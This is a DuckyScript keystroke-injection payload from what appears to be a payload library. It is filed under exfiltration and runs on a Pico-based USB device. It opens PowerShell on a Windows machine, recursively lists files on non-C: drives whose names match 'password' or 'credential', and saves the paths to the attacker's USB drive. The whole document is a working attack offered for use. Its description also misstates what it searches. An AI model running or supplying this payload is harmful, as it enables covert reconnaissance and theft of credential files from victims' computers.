Path: blob/master/payloads/library/exfiltration/SecretFileList/payload.txt
3367 views
REM Title: Secret File List1REM Description: This will list all files that contain the words "password" or "secret", excluding those from the C: drive. You can replace these keywords with your own search terms.2REM Author: ih-hira3REM Target: Windows4REM Version: 1.05REM Category: Exfiltration67REM Define the drive label where you want to save the file. The default label is DUCKY. Rename your Pico drive to DUCKY for it to work properly. (optional)8DEFINE #DRIVE_LABEL DUCKY910REM Define your search term here. To search for multiple terms, separate them with a pipe (|).11DEFINE #SEARCH_TERM password|credential1213ATTACKMODE HID STORAGE1415DELAY 50016GUI r1718DELAY 30019STRINGLN powershell2021DELAY 100022STRINGLN $m=(Get-Volume -FileSystemLabel #DRIVE_LABEL).DriveLetter; Get-PSDrive -PSProvider FileSystem | Where-Object Name -ne 'C' | ForEach-Object { Get-ChildItem ($_.Name + ':\') -Recurse -ErrorAction SilentlyContinue | Where-Object { $_.Name -match '#SEARCH_TERM' } | Select-Object -ExpandProperty FullName }>>$m':\'$env:computername'.txt'23STRINGLN exit2425REM The drive letter of the volume labeled "DUCKY" is stored in the variable $m. You can change this by defining DRIVE_LABEL.26REM It will take time, as it scans all the drives.27REM Keep in mind that the DUCKY drive has limited memory; if the file size exceeds the drive capacity, the file will not be saved.28REM The results of the command will be redirected (saved) to a file on the root of the "DUCKY" drive, saved as the computer name (in .txt format).2930